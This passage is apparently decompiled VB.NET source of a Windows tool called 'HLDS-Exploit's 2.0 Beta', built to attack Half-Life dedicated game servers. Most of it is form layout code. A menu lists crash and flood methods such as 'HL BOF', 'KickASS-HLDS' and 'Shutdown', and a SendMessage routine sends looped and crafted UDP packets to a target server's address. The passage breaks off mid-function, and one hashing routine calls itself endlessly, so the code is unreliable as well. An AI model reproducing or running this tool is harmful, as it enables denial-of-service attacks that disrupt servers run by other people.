            Me.asd2.Font = New Font("Calibri", 8.25!)
            Me.asd2.ForeColor = Color.FromArgb(0, &HAC, &HC1)
            Me.asd2.Location = New Point(&H17D, 150)
            Me.asd2.Margin = New Padding(2)
            Me.asd2.MaxLength = &H20
            Me.asd2.Name = "asd2"
            Me.asd2.Size = New Size(&H48, &H15)
            Me.asd2.TabIndex = &H2718
            AddHandler Me.asd2.TextChanged, New EventHandler(AddressOf Me.asd2_TextChanged)
            Me.label11.AutoSize = True
            Me.label11.Font = New Font("Calibri", 8.25!)
            Me.label11.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.label11.Location = New Point(&HFC, &H71)
            Me.label11.Margin = New Padding(2, 0, 2, 0)
            Me.label11.Name = "label11"
            Me.label11.Size = New Size(&H2F, 13)
            Me.label11.TabIndex = &H34
            Me.label11.Text = "Interval:"
            Me.textBox5.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.textBox5.BorderStyle = BorderStyle.FixedSingle
            Me.textBox5.Font = New Font("Calibri", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)
            Me.textBox5.ForeColor = Color.FromArgb(0, &HAC, &HC1)
            Me.textBox5.Location = New Point(&H12F, &H6D)
            Me.textBox5.Margin = New Padding(2)
            Me.textBox5.MaxLength = &H12
            Me.textBox5.Name = "textBox5"
            Me.textBox5.Size = New Size(&H94, &H15)
            Me.textBox5.TabIndex = &H33
            Me.textBox5.Text = "1000"
            AddHandler Me.textBox5.KeyPress, New KeyPressEventHandler(AddressOf Me.textBox9_KeyPress)
            Me.label9.AutoSize = True
            Me.label9.Font = New Font("Calibri", 8.25!)
            Me.label9.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.label9.Location = New Point(&HFE, &H19)
            Me.label9.Margin = New Padding(2, 0, 2, 0)
            Me.label9.Name = "label9"
            Me.label9.Size = New Size(&H26, 13)
            Me.label9.TabIndex = &H27
            Me.label9.Text = "Proxy :"
            Me.textBox7.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.textBox7.BorderStyle = BorderStyle.FixedSingle
            Me.textBox7.Font = New Font("Calibri", 8.25!)
            Me.textBox7.ForeColor = Color.FromArgb(0, &HAC, &HC1)
            Me.textBox7.Location = New Point(&H131, 150)
            Me.textBox7.Margin = New Padding(2)
            Me.textBox7.MaxLength = 5
            Me.textBox7.Name = "textBox7"
            Me.textBox7.Size = New Size(&H48, &H15)
            Me.textBox7.TabIndex = &H2714
            Me.textBox7.Text = "_pw"
            Me.label13.AutoSize = True
            Me.label13.Font = New Font("Calibri", 8.25!)
            Me.label13.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.label13.Location = New Point(&HFB, &H9B)
            Me.label13.Margin = New Padding(2, 0, 2, 0)
            Me.label13.Name = "label13"
            Me.label13.Size = New Size(&H2A, 13)
            Me.label13.TabIndex = &H2715
            Me.label13.Text = "Setinfo:"
            Me.label5.AutoSize = True
            Me.label5.Font = New Font("Calibri", 8.25!)
            Me.label5.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.label5.Location = New Point(&HFC, &H45)
            Me.label5.Margin = New Padding(2, 0, 2, 0)
            Me.label5.Name = "label5"
            Me.label5.Size = New Size(&H2F, 13)
            Me.label5.TabIndex = &H31
            Me.label5.Text = "Packets:"
            Me.textBox1.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.textBox1.BorderStyle = BorderStyle.FixedSingle
            Me.textBox1.Font = New Font("Calibri", 8.25!)
            Me.textBox1.ForeColor = Color.FromArgb(0, &HAC, &HC1)
            Me.textBox1.Location = New Point(&H12F, &H13)
            Me.textBox1.Margin = New Padding(2)
            Me.textBox1.MaxLength = 14
            Me.textBox1.Name = "textBox1"
            Me.textBox1.Size = New Size(&H94, &H15)
            Me.textBox1.TabIndex = &H26
            Me.textBox1.Text = "_ip"
            Me.textBox2.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.textBox2.BorderStyle = BorderStyle.FixedSingle
            Me.textBox2.Font = New Font("Calibri", 8.25!)
            Me.textBox2.ForeColor = Color.FromArgb(0, &HAC, &HC1)
            Me.textBox2.Location = New Point(&H12F, &H41)
            Me.textBox2.Margin = New Padding(2)
            Me.textBox2.MaxLength = 7
            Me.textBox2.Name = "textBox2"
            Me.textBox2.Size = New Size(&H94, &H15)
            Me.textBox2.TabIndex = &H2F
            Me.textBox2.Text = "1"
            AddHandler Me.textBox2.KeyPress, New KeyPressEventHandler(AddressOf Me.textBox9_KeyPress)
            Me.label3.AutoSize = True
            Me.label3.Font = New Font("Calibri", 8.25!)
            Me.label3.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.label3.Location = New Point(13, &H9B)
            Me.label3.Margin = New Padding(2, 0, 2, 0)
            Me.label3.Name = "label3"
            Me.label3.Size = New Size(&H3F, 13)
            Me.label3.TabIndex = &H30
            Me.label3.Text = "Disconnect:"
            Me.Label7.AutoSize = True
            Me.Label7.Font = New Font("Calibri", 8.25!)
            Me.Label7.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.Label7.Location = New Point(13, &H18)
            Me.Label7.Margin = New Padding(2, 0, 2, 0)
            Me.Label7.Name = "Label7"
            Me.Label7.Size = New Size(&H38, 13)
            Me.Label7.TabIndex = &H2C
            Me.Label7.Text = "Type auth:"
            Me.Label6.AutoSize = True
            Me.Label6.Font = New Font("Calibri", 8.25!)
            Me.Label6.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.Label6.Location = New Point(11, &H70)
            Me.Label6.Margin = New Padding(2, 0, 2, 0)
            Me.Label6.Name = "Label6"
            Me.Label6.Size = New Size(50, 13)
            Me.Label6.TabIndex = &H2B
            Me.Label6.Text = "Protocol:"
            Me.ProtocolComboBox.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.ProtocolComboBox.DropDownStyle = ComboBoxStyle.DropDownList
            Me.ProtocolComboBox.FlatStyle = FlatStyle.Popup
            Me.ProtocolComboBox.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.ProtocolComboBox.ForeColor = Color.Yellow
            Me.ProtocolComboBox.FormattingEnabled = True
            Me.ProtocolComboBox.Items.AddRange(New Object() { "48", "47", "46" })
            Me.ProtocolComboBox.Location = New Point(&H52, &H6D)
            Me.ProtocolComboBox.Margin = New Padding(2)
            Me.ProtocolComboBox.Name = "ProtocolComboBox"
            Me.ProtocolComboBox.Size = New Size(&H9E, &H15)
            Me.ProtocolComboBox.TabIndex = &H29
            AddHandler Me.ProtocolComboBox.SelectedIndexChanged, New EventHandler(AddressOf Me.ProtocolComboBox_SelectedIndexChanged)
            Me.AuthtypeComboBox.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.AuthtypeComboBox.DropDownStyle = ComboBoxStyle.DropDownList
            Me.AuthtypeComboBox.FlatStyle = FlatStyle.Flat
            Me.AuthtypeComboBox.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.AuthtypeComboBox.ForeColor = Color.Yellow
            Me.AuthtypeComboBox.FormattingEnabled = True
            Me.AuthtypeComboBox.Items.AddRange(New Object() { "Steam (P3)", "No-Steam (P2)", "No-Steam (P4)" })
            Me.AuthtypeComboBox.Location = New Point(&H52, &H16)
            Me.AuthtypeComboBox.Margin = New Padding(2)
            Me.AuthtypeComboBox.Name = "AuthtypeComboBox"
            Me.AuthtypeComboBox.Size = New Size(&H9D, &H15)
            Me.AuthtypeComboBox.TabIndex = 1
            AddHandler Me.AuthtypeComboBox.SelectedIndexChanged, New EventHandler(AddressOf Me.AuthtypeComboBox_SelectedIndexChanged)
            Me.tabPage1.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.tabPage1.Controls.Add(Me.groupBox2)
            Me.tabPage1.Location = New Point(4, &H16)
            Me.tabPage1.Name = "tabPage1"
            Me.tabPage1.Padding = New Padding(3)
            Me.tabPage1.Size = New Size(&H1D9, &H119)
            Me.tabPage1.TabIndex = 0
            Me.tabPage1.Text = "Servers"
            Me.groupBox2.BackColor = Color.Green
            Me.groupBox2.Controls.Add(Me.textBox10)
            Me.groupBox2.Controls.Add(Me.label14)
            Me.groupBox2.Controls.Add(Me.Label4)
            Me.groupBox2.Controls.Add(Me.HLProxyRichBox)
            Me.groupBox2.Controls.Add(Me.Label8)
            Me.groupBox2.Controls.Add(Me.MessageTxtBox)
            Me.groupBox2.Controls.Add(Me.Label1)
            Me.groupBox2.Controls.Add(Me.NicknamesRichBox)
            Me.groupBox2.Controls.Add(Me.ServerListRichBox)
            Me.groupBox2.Controls.Add(Me.method)
            Me.groupBox2.Controls.Add(Me.label12)
            Me.groupBox2.Controls.Add(Me.textBox3)
            Me.groupBox2.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.groupBox2.ForeColor = Color.FromArgb(0, &HAC, &HC1)
            Me.groupBox2.Location = New Point(6, 4)
            Me.groupBox2.Name = "groupBox2"
            Me.groupBox2.Size = New Size(&H1CD, &H10F)
            Me.groupBox2.TabIndex = &H38
            Me.groupBox2.TabStop = False
            Me.groupBox2.Text = "Settings"
            AddHandler Me.groupBox2.Enter, New EventHandler(AddressOf Me.groupBox2_Enter)
            Me.textBox10.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.textBox10.BorderStyle = BorderStyle.None
            Me.textBox10.ForeColor = Color.FromArgb(&HE7, &H4C, 60)
            Me.textBox10.Location = New Point(&H165, &H65)
            Me.textBox10.Multiline = True
            Me.textBox10.Name = "textBox10"
            Me.textBox10.Size = New Size(10, 10)
            Me.textBox10.TabIndex = &H2715
            AddHandler Me.textBox10.TextChanged, New EventHandler(AddressOf Me.textBox10_TextChanged)
            Me.label14.AutoSize = True
            Me.label14.Font = New Font("Calibri", 8.25!)
            Me.label14.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.label14.Location = New Point(&HEC, 15)
            Me.label14.Margin = New Padding(2, 0, 2, 0)
            Me.label14.Name = "label14"
            Me.label14.Size = New Size(90, 13)
            Me.label14.TabIndex = &H2711
            Me.label14.Text = "HLProxy/HLSocks:"
            Me.Label4.AutoSize = True
            Me.Label4.Font = New Font("Calibri", 8.25!)
            Me.Label4.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.Label4.Location = New Point(7, 15)
            Me.Label4.Margin = New Padding(2, 0, 2, 0)
            Me.Label4.Name = "Label4"
            Me.Label4.Size = New Size(&H2D, 13)
            Me.Label4.TabIndex = &H24
            Me.Label4.Text = "Servers:"
            Me.HLProxyRichBox.BackColor = Color.Maroon
            Me.HLProxyRichBox.BorderStyle = BorderStyle.FixedSingle
            Me.HLProxyRichBox.Cursor = Cursors.IBeam
            Me.HLProxyRichBox.Font = New Font("Calibri", 8.25!)
            Me.HLProxyRichBox.ForeColor = SystemColors.Info
            Me.HLProxyRichBox.Location = New Point(&HEF, 30)
            Me.HLProxyRichBox.Margin = New Padding(2)
            Me.HLProxyRichBox.MaxLength = &H2710
            Me.HLProxyRichBox.Multiline = True
            Me.HLProxyRichBox.Name = "HLProxyRichBox"
            Me.HLProxyRichBox.Size = New Size(&HD5, &H42)
            Me.HLProxyRichBox.TabIndex = &H22
            AddHandler Me.HLProxyRichBox.TextChanged, New EventHandler(AddressOf Me.HLProxyRichBox_TextChanged)
            AddHandler Me.HLProxyRichBox.KeyPress, New KeyPressEventHandler(AddressOf Me.HLProxyRichBox_KeyPress)
            Me.Label1.AutoSize = True
            Me.Label1.Font = New Font("Calibri", 8.25!)
            Me.Label1.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.Label1.Location = New Point(7, &H62)
            Me.Label1.Margin = New Padding(2, 0, 2, 0)
            Me.Label1.Name = "Label1"
            Me.Label1.Size = New Size(&H26, 13)
            Me.Label1.TabIndex = &H21
            Me.Label1.Text = "Name:"
            Me.NicknamesRichBox.BackColor = Color.Maroon
            Me.NicknamesRichBox.BorderStyle = BorderStyle.FixedSingle
            Me.NicknamesRichBox.Cursor = Cursors.IBeam
            Me.NicknamesRichBox.Font = New Font("Calibri", 8.25!, (FontStyle.Italic Or FontStyle.Bold), GraphicsUnit.Point, 0)
            Me.NicknamesRichBox.ForeColor = SystemColors.Info
            Me.NicknamesRichBox.Location = New Point(10, &H70)
            Me.NicknamesRichBox.Margin = New Padding(2)
            Me.NicknamesRichBox.MaxLength = &H2710
            Me.NicknamesRichBox.Multiline = True
            Me.NicknamesRichBox.Name = "NicknamesRichBox"
            Me.NicknamesRichBox.ScrollBars = ScrollBars.Horizontal
            Me.NicknamesRichBox.Size = New Size(&H1BA, &H51)
            Me.NicknamesRichBox.TabIndex = &H20
            AddHandler Me.NicknamesRichBox.TextChanged, New EventHandler(AddressOf Me.NicknamesRichBox_TextChanged)
            Me.ServerListRichBox.BackColor = Color.Maroon
            Me.ServerListRichBox.BorderStyle = BorderStyle.FixedSingle
            Me.ServerListRichBox.Cursor = Cursors.IBeam
            Me.ServerListRichBox.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.ServerListRichBox.ForeColor = SystemColors.Info
            Me.ServerListRichBox.Location = New Point(9, 30)
            Me.ServerListRichBox.Margin = New Padding(2)
            Me.ServerListRichBox.MaxLength = 0
            Me.ServerListRichBox.Multiline = True
            Me.ServerListRichBox.Name = "ServerListRichBox"
            Me.ServerListRichBox.ScrollBars = ScrollBars.Horizontal
            Me.ServerListRichBox.Size = New Size(&HD5, &H41)
            Me.ServerListRichBox.TabIndex = &H1F
            AddHandler Me.ServerListRichBox.TextChanged, New EventHandler(AddressOf Me.ServerListRichBox_TextChanged)
            AddHandler Me.ServerListRichBox.KeyPress, New KeyPressEventHandler(AddressOf Me.HLProxyRichBox_KeyPress)
            Me.method.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.method.DropDownStyle = ComboBoxStyle.DropDownList
            Me.method.FlatStyle = FlatStyle.Popup
            Me.method.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.method.ForeColor = Color.Yellow
            Me.method.FormattingEnabled = True
            Me.method.Items.AddRange(New Object() { "FileDeath 2.0", "FileDeath 1.0", "SpawnMalfunction", "HeavyResources", "FakeConnect 2.0", "Command Sennder", "KeysBugSpam", "CharacterMalfunction", "SV_ParseVoiceData", "PU HL", "Born to be pig", "SZ_GetSpace Spam", "*CstrikeDir", "SV_FullUpdate", "IndexOfEdict", "Packets Send", "SV_ParseCvarValue2", "Fuck DProto v1", "FVU xD", "Jo's v2", "Jo's win32", "KickASS-HLDS v1", "The Unknown", "Shutdown", "Bad Parse", "HL BOF", "HL Headnut", "HL Boom", "KickASS-HLDS v2", "KickASS-HLDS v3", "KickASS-HLDS v4", "SV_ParseConsistencyResponse", "WarGods Killer", "PICore", "MasterServer ClientFake", "packets_func.txt" })
            Me.method.Location = New Point(&H4F, &HCF)
            Me.method.Margin = New Padding(2)
            Me.method.Name = "method"
            Me.method.Size = New Size(&H13B, &H15)
            Me.method.TabIndex = &H2F
            AddHandler Me.method.SelectedIndexChanged, New EventHandler(AddressOf Me.method_SelectedIndexChanged_1)
            Me.label12.AutoSize = True
            Me.label12.Font = New Font("Calibri", 8.25!)
            Me.label12.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.label12.Location = New Point(11, &HD3)
            Me.label12.Margin = New Padding(2, 0, 2, 0)
            Me.label12.Name = "label12"
            Me.label12.Size = New Size(&H40, 13)
            Me.label12.TabIndex = &H271A
            Me.label12.Text = "Exploit hlds:"
            Me.textBox3.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.textBox3.BorderStyle = BorderStyle.FixedSingle
            Me.textBox3.Enabled = False
            Me.textBox3.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.textBox3.ForeColor = Color.FromArgb(&HBD, &HC3, &HC7)
            Me.textBox3.Location = New Point(&H18E, &HCF)
            Me.textBox3.Margin = New Padding(2)
            Me.textBox3.MaxLength = 4
            Me.textBox3.Multiline = True
            Me.textBox3.Name = "textBox3"
            Me.textBox3.Size = New Size(&H36, &H15)
            Me.textBox3.TabIndex = 50
            Me.textBox3.Text = "1"
            AddHandler Me.textBox3.KeyPress, New KeyPressEventHandler(AddressOf Me.textBox9_KeyPress)
            Me.tabControl1.Controls.Add(Me.tabPage1)
            Me.tabControl1.Controls.Add(Me.tabPage2)
            Me.tabControl1.Controls.Add(Me.tabPage3)
            Me.tabControl1.Controls.Add(Me.tabPage4)
            Me.tabControl1.Controls.Add(Me.tabPage5)
            Me.tabControl1.Location = New Point(6, &H1D)
            Me.tabControl1.Name = "tabControl1"
            Me.tabControl1.SelectedIndex = 0
            Me.tabControl1.Size = New Size(&H1E1, &H133)
            Me.tabControl1.TabIndex = &H2724
            Me.tabPage3.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.tabPage3.Controls.Add(Me.groupBox1)
            Me.tabPage3.Location = New Point(4, &H16)
            Me.tabPage3.Name = "tabPage3"
            Me.tabPage3.Padding = New Padding(3)
            Me.tabPage3.Size = New Size(&H1D9, &H119)
            Me.tabPage3.TabIndex = 2
            Me.tabPage3.Text = "Authentication"
            Me.tabPage4.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.tabPage4.Controls.Add(Me.label21)
            Me.tabPage4.Controls.Add(Me.label18)
            Me.tabPage4.Controls.Add(Me.button8)
            Me.tabPage4.Controls.Add(Me.textBox14)
            Me.tabPage4.Controls.Add(Me.textBox13)
            Me.tabPage4.Location = New Point(4, &H16)
            Me.tabPage4.Name = "tabPage4"
            Me.tabPage4.Padding = New Padding(3)
            Me.tabPage4.Size = New Size(&H1D9, &H119)
            Me.tabPage4.TabIndex = 3
            Me.tabPage4.Text = "Resolver DNS"
            Me.label21.AutoSize = True
            Me.label21.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.label21.ForeColor = Color.FromArgb(0, &HAC, &HC1)
            Me.label21.Location = New Point(&HD0, 5)
            Me.label21.Margin = New Padding(2, 0, 2, 0)
            Me.label21.Name = "label21"
            Me.label21.Size = New Size(&H2F, 13)
            Me.label21.TabIndex = &H2729
            Me.label21.Text = "Address:"
            Me.label18.AutoSize = True
            Me.label18.Font = New Font("Calibri", 8.25!, FontStyle.Bold, GraphicsUnit.Point, 0)
            Me.label18.ForeColor = Color.FromArgb(0, &HAC, &HC1)
            Me.label18.Location = New Point(5, 5)
            Me.label18.Margin = New Padding(2, 0, 2, 0)
            Me.label18.Name = "label18"
            Me.label18.Size = New Size(&H1D, 13)
            Me.label18.TabIndex = &H2728
            Me.label18.Text = "DNS:"
            Me.button8.FlatStyle = FlatStyle.Flat
            Me.button8.ForeColor = Color.FromArgb(0, &HAC, &HC1)
            Me.button8.Location = New Point(8, &HF8)
            Me.button8.Name = "button8"
            Me.button8.Size = New Size(460, &H1B)
            Me.button8.TabIndex = &H2727
            Me.button8.Text = "Resolve DNS"
            Me.button8.UseVisualStyleBackColor = True
            AddHandler Me.button8.Click, New EventHandler(AddressOf Me.button8_Click)
            Me.textBox14.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.textBox14.BorderStyle = BorderStyle.FixedSingle
            Me.textBox14.Cursor = Cursors.IBeam
            Me.textBox14.Font = New Font("Calibri", 8.25!)
            Me.textBox14.ForeColor = Color.Lime
            Me.textBox14.Location = New Point(210, &H16)
            Me.textBox14.Margin = New Padding(2)
            Me.textBox14.MaxLength = 0
            Me.textBox14.Multiline = True
            Me.textBox14.Name = "textBox14"
            Me.textBox14.ReadOnly = True
            Me.textBox14.Size = New Size(&H102, &HDD)
            Me.textBox14.TabIndex = &H2726
            Me.textBox13.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.textBox13.BorderStyle = BorderStyle.FixedSingle
            Me.textBox13.Cursor = Cursors.IBeam
            Me.textBox13.Font = New Font("Calibri", 8.25!)
            Me.textBox13.ForeColor = Color.FromArgb(&HF1, &HC4, 15)
            Me.textBox13.Location = New Point(8, &H16)
            Me.textBox13.Margin = New Padding(2)
            Me.textBox13.MaxLength = 0
            Me.textBox13.Multiline = True
            Me.textBox13.Name = "textBox13"
            Me.textBox13.Size = New Size(&HC3, &HDD)
            Me.textBox13.TabIndex = &H2725
            Me.tabPage5.BackColor = Color.FromArgb(&H1A, &H20, 40)
            Me.tabPage5.Controls.Add(Me.groupBox5)
            Me.tabPage5.Location = New Point(4, &H16)
            Me.tabPage5.Name = "tabPage5"
            Me.tabPage5.Padding = New Padding(3)
            Me.tabPage5.Size = New Size(&H1D9, &H119)
            Me.tabPage5.TabIndex = 4
            Me.tabPage5.Text = "Console"
            Me.AutoValidate = AutoValidate.EnablePreventFocusChange
            Me.BackColor = Color.FromArgb(&H80, &HFF, &HFF)
            MyBase.ClientSize = New Size(&H1EE, &H1A8)
            MyBase.Controls.Add(Me.tabControl1)
            MyBase.Controls.Add(Me.button7)
            MyBase.Controls.Add(Me.button6)
            MyBase.Controls.Add(Me.Button1)
            MyBase.Controls.Add(Me.button2)
            Me.Font = New Font("Calibri", 8.25!, FontStyle.Regular, GraphicsUnit.Point, 0)
            Me.ForeColor = Color.FromArgb(&HE7, &H4C, 60)
            MyBase.KeyPreview = True
            MyBase.Name = "Form1"
            Me.Text = "HLDS-Exploit's 2.0 Beta"
            AddHandler MyBase.FormClosed, New FormClosedEventHandler(AddressOf Me.Form1_FormClosed)
            AddHandler MyBase.Load, New EventHandler(AddressOf Me.Form1_Load)
            Me.groupBox5.ResumeLayout(False)
            Me.tabPage2.ResumeLayout(False)
            Me.groupBox3.ResumeLayout(False)
            Me.groupBox3.PerformLayout
            Me.groupBox1.ResumeLayout(False)
            Me.groupBox1.PerformLayout
            Me.tabPage1.ResumeLayout(False)
            Me.groupBox2.ResumeLayout(False)
            Me.groupBox2.PerformLayout
            Me.tabControl1.ResumeLayout(False)
            Me.tabPage3.ResumeLayout(False)
            Me.tabPage4.ResumeLayout(False)
            Me.tabPage4.PerformLayout
            Me.tabPage5.ResumeLayout(False)
            MyBase.ResumeLayout(False)
        End Sub

        Public Sub lasds()
        End Sub

        Private Sub LogRichBox_KeyDown(ByVal sender As Object, ByVal e As KeyEventArgs)
        End Sub

        Private Sub LogRichBox_KeyPress(ByVal sender As Object, ByVal e As KeyPressEventArgs)
        End Sub

        Private Sub LogRichBox_TextChanged(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Private Sub LogRichBox_TextChanged_1(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Private Sub LogRichBox_TextChanged_2(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Private Sub MessageTxtBox_TextChanged(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Private Sub method_SelectedIndexChanged_1(ByVal sender As Object, ByVal e As EventArgs)
            If (Me.method.SelectedIndex = 10) Then
                Me.checkBox1.Enabled = False
            Else
                Me.checkBox1.Enabled = True
            End If
            If ((((((Me.method.SelectedIndex = 14) OrElse (Me.method.SelectedIndex = &H12)) OrElse ((Me.method.SelectedIndex = &H10) OrElse (Me.method.SelectedIndex = 15))) OrElse (((Me.method.SelectedIndex = 8) OrElse (Me.method.SelectedIndex = 9)) OrElse ((Me.method.SelectedIndex = &H13) OrElse (Me.method.SelectedIndex = 20)))) OrElse ((((Me.method.SelectedIndex = &H15) OrElse (Me.method.SelectedIndex = &H1B)) OrElse ((Me.method.SelectedIndex = &H16) OrElse (Me.method.SelectedIndex = &H17))) OrElse ((Me.method.SelectedIndex = &H18) OrElse (Me.method.SelectedIndex = &H19)))) OrElse (Me.method.SelectedIndex = &H1A)) Then
                Me.textBox2.Enabled = False
                Me.comboBox1.Enabled = False
            Else
                Me.textBox2.Enabled = True
                Me.comboBox1.Enabled = True
            End If
            If (Me.method.SelectedIndex <> &H1C) Then
                If ((Me.method.SelectedIndex = 5) OrElse (Me.method.SelectedIndex = 15)) Then
                    Me.MessageTxtBox.Enabled = True
                    Me.comboBox1.Enabled = False
                Else
                    Me.MessageTxtBox.Enabled = False
                End If
                If (Me.method.SelectedIndex = 5) Then
                    Me.comboBox1.Enabled = True
                End If
                If (Me.method.SelectedIndex = 2) Then
                    Me.textBox3.Enabled = True
                Else
                    Me.textBox3.Enabled = False
                End If
            End If
        End Sub

        Private Sub NicknamesRichBox_TextChanged(ByVal sender As Object, ByVal e As EventArgs)
            Me.Label1.Text = ("Name : " & Enumerable.Count(Of String)((From line In DirectCast(Me.NicknamesRichBox.Lines, IEnumerable(Of String))
                Where Not String.IsNullOrEmpty(line)
                Select line)).ToString)
        End Sub

        Private Sub ProtocolComboBox_SelectedIndexChanged(ByVal sender As Object, ByVal e As EventArgs)
        End Sub

        Public Shared Function RandomRevemuString(ByVal length As Integer) As String
            Return New String(Enumerable.ToArray(Of Char)((From s In Enumerable.Repeat(Of String)("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789qwertyuiopasdfghjklzxcvbnm;'][p=", length) Select s.Chars(Form1.random.Next(s.Length)))))
        End Function

        <DllImport("user32.dll")> _
        Public Shared Function ReleaseCapture() As Boolean
        End Function

        Public Function revHash(ByVal Str As String) As UInt32
            Dim num As Integer = 0
            Dim num2 As Integer = &H4E67C6A7
            Dim str As String = Str
            Dim num3 As Integer = num
            Dim num4 As Integer = 1
            Dim num5 As Integer = (num3 + num4)
            Dim i As Integer = str.Chars(num3)
            Do While (i > 0)
                num2 = (num2 Xor (((num2 >> 2) + i) + (&H20 * num2)))
                i = Str.Chars(num5++)
            Loop
            Return Me.revHash(Str)
        End Function

        <DllImport("user32.dll")> _
        Public Shared Function SendMessage(ByVal hWnd As IntPtr, ByVal Msg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
        End Function

        Public Function SendMessage(ByVal IP As String, ByVal UserInfo As String, ByVal Message As String, ByVal Protocol As String, ByVal SteamIDCertificate As Byte(), ByVal Disconnect As Boolean) As String
            Dim str As String
            Try
                Dim num2 As Integer
                Dim num3 As Integer
                Dim num4 As Integer
                Dim str5 As String
                Dim strArray As String() = IP.Split(New Char() { ":"c })
                Dim remoteEP As New IPEndPoint(IPAddress.Parse(strArray(0)), Convert.ToInt32(strArray(1)))
                Dim socket As New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
                If (Me.comboBox1.SelectedIndex = 2) Then
                    Dim num As Integer
                    Dim ipString As String = ""
                    Dim address As IPAddress
                    For Each address In Dns.GetHostEntry(Dns.GetHostName).AddressList
                        If (address.AddressFamily.ToString = "InterNetwork") Then
                            ipString = address.ToString
                        End If
                    Next
                    If (Integer.TryParse(Me.textBox11.Text, num) AndAlso (num > 0)) Then
                        socket.Bind(New IPEndPoint(IPAddress.Parse(ipString), num))
                    End If
                End If
                If (Integer.TryParse(Me.textBox12.Text, num2) AndAlso (num2 > 0)) Then
                    socket.SendTimeout = num2
                    socket.ReceiveTimeout = num2
                End If
                socket.Connect(remoteEP)
                Dim list As New List(Of Byte)
                If (Me.method.SelectedIndex = &H20) Then
                    num3 = 1
                    Do While (num3 <= &H1388)
                        list.AddRange(DirectCast(Me.Data.Connect, IEnumerable(Of Byte)))
                        list.AddRange(DirectCast(Encoding.ASCII.GetBytes(Protocol), IEnumerable(Of Byte)))
                        list.AddRange(DirectCast(New Byte() { &H20, &H22 }, IEnumerable(Of Byte)))
                        If Not Me.checkBox18.Checked Then
                            list.AddRange(DirectCast(Encoding.Default.GetBytes(UserInfo), IEnumerable(Of Byte)))
                        Else
                            list.AddRange(DirectCast(Encoding.UTF8.GetBytes(UserInfo), IEnumerable(Of Byte)))
                        End If
                        list.AddRange(DirectCast(New Byte() { 10 }, IEnumerable(Of Byte)))
                        list.AddRange(DirectCast(SteamIDCertificate, IEnumerable(Of Byte)))
                        socket.Send(list.ToArray)
                        num3 += 1
                    Loop
                End If
                Dim list2 As New List(Of Byte)
                Dim buffer As Byte() = New Byte(&H800  - 1) {}
                If (Me.comboBox3.SelectedIndex = 0) Then
                    socket.Send(Me.Data.Steam)
                End If
                If (Me.comboBox3.SelectedIndex = 1) Then
                    socket.Send(Me.Data.Valve)
                End If
                If (Me.comboBox3.SelectedIndex = 2) Then
                    socket.Send(Me.Data.Null)
                End If
                socket.Receive(buffer)
                If Me.checkBox10.Checked Then
                    socket.Send(Me.Data.Check)
                End If
                Dim s As String = Encoding.ASCII.GetString(buffer).Split(New Char() { " "c })(1)
                list.AddRange(DirectCast(Me.Data.Connect, IEnumerable(Of Byte)))
                If (Me.method.SelectedIndex = 15) Then
                    list2.AddRange(DirectCast(Me.Data.Check2, IEnumerable(Of Byte)))
                    list2.AddRange(DirectCast(Encoding.Default.GetBytes(Me.MessageTxtBox.Text), IEnumerable(Of Byte)))
                    socket.Send(list2.ToArray)
                    socket.Receive(buffer)
                End If
                If (Me.method.SelectedIndex = &H15) Then
                    num3 = 1
                    Do While (num3 <= &H13)
                        list2.AddRange(DirectCast(Me.Data.KickASS, IEnumerable(Of Byte)))
                        num3 += 1
                    Loop
                End If
                If (Me.method.SelectedIndex = &H1B) Then
                    list2.AddRange(DirectCast(Me.Data.HLBoom, IEnumerable(Of Byte)))
                    socket.Send(list2.ToArray)
                    socket.Receive(buffer)
                End If
                list.AddRange(DirectCast(Encoding.ASCII.GetBytes(Protocol), IEnumerable(Of Byte)))
                list.AddRange(DirectCast(New Byte() { &H20 }, IEnumerable(Of Byte)))
                list.AddRange(DirectCast(Encoding.ASCII.GetBytes(s), IEnumerable(Of Byte)))
                list.AddRange(DirectCast(New Byte() { &H20, &H22 }, IEnumerable(Of Byte)))
                If Not Me.checkBox18.Checked Then
